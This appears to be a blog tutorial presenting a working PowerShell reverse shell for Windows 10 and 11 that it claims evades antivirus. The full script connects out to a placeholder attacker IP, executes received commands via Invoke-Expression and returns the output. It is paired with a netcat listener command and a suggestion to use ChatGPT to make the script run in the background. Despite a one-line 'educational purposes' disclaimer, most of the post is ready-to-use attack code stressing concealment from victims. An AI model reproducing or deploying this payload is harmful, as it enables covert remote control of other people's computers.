Undetectable reverse shell windows 11

Today, I'll share an undetectable reverse shell for Windows 10 and Windows 11.

"Remember, this article is for research and educational purposes only, and I cannot be held responsible for any actions taken based on this information."

What is a Reverse Shell?

A reverse shell is a clever method where the connection is initiated from the target machine, not the attacker's system. This enables attackers to establish an interactive shell session on the victim's computer, even bypassing obstacles like firewalls or network address translation.

Undetectable Reverse Shell

In our demonstration, we'll use a reverse shell that remains invisible to antivirus software. Once the connection is established, it goes undetected, making it difficult for anyone, including the victim, to notice any unusual activity (unless there's a network sniffer present, which is unlikely for regular users).

Payload

$ErrorActionPreference = "Stop"

function Connect-RemoteShell {
    param (
        [string]$RemoteAddress,
        [int]$RemotePort
    )

    try {
        $tcpClient = New-Object Net.Sockets.TCPClient
        $result = $tcpClient.BeginConnect($RemoteAddress, $RemotePort, $null, $null)
        $wait = $result.AsyncWaitHandle.WaitOne(5000, $false)

        if (!$wait -or !$tcpClient.Connected) {
            throw "Failed to establish a connection."
        }

        $stream = $tcpClient.GetStream()
        $writer = New-Object IO.StreamWriter($stream)
        $reader = New-Object IO.StreamReader($stream)

        while ($true) {
            $commandPrompt = $reader.ReadLine()
            if ($commandPrompt -eq $null) { break }

            $output = Invoke-Expression $commandPrompt 2>&1 | Out-String
            $writer.WriteLine($output + "
SHELL> ")
            $writer.Flush()
        }
    }
    catch {
        Write-Host "Failed to establish a connection: $_"
    }
    finally {
        if ($reader) { $reader.Close() }
        if ($writer) { $writer.Close() }
        if ($tcpClient) { $tcpClient.Close() }
    }
}

Connect-RemoteShell -RemoteAddress "YOURIP" -RemotePort 2222
  

Replace "YOURIP" with the IP address of the attacker's machine and 2222 with the designated listening port.

Explanation of the Payload

The payload is a PowerShell script that establishes a reverse shell connection. Here's a breakdown of its structure and functionality:

• The variable $ErrorActionPreference is set to "Stop", which ensures that any errors encountered during execution will cause an exception to be thrown.
• The function Connect-RemoteShell is defined with two parameters: $RemoteAddress for the IP address of the remote machine, and $RemotePort for the port number.
• Inside the function, a TCP client is created using New-Object to establish a connection to the remote machine.
• The BeginConnect method is called on the TCP client object to initiate the connection with the specified IP address and port. It uses an asynchronous operation with a timeout of 5 seconds.
• If the connection is not successfully established (if $wait is false or the TCP client is not connected), an exception is thrown indicating the failure.
• If the connection is established, a network stream is obtained from the TCP client, and IO writers and readers are created to handle the communication.
• The code enters a loop that continuously reads a command prompt input from the remote machine's stream. If the input is null, the loop breaks.
• The Invoke-Expression cmdlet is used to execute the command prompt input as PowerShell code. The resulting output is captured and converted to a string using Out-String.
• The output is written back to the remote machine's stream along with a "SHELL>" prompt to indicate that it's ready for the next command.
• The loop continues, allowing for an interactive shell session where commands can be executed remotely.
• If any exception occurs during the execution of the function, an error message is displayed.
• The finally block ensures that the IO readers, writers, and TCP client are properly closed regardless of any exceptions.

Now that we have a clear understanding of how the payload operates, let’s put it into practice! On the attacker’s machine, we initiate the listening process on port 2222 using the netcat utility.

nc -vnlp 2222

With port 2222 being actively listened to, we can proceed to execute the payload on the target machine:

chatgpt can assist with modifying the scripts for running them in the background or executing them in a specific context.

After running the payload, we receive our reverse shell connection. With this implementation, we have successfully created a reverse shell that remains undetectable by antivirus software and is highly unlikely to be discovered by casual users. I hope you found this article insightful and gained valuable knowledge from it. If you have any questions or need further clarification, please feel free to leave a comment, and I’ll be sure to respond promptly.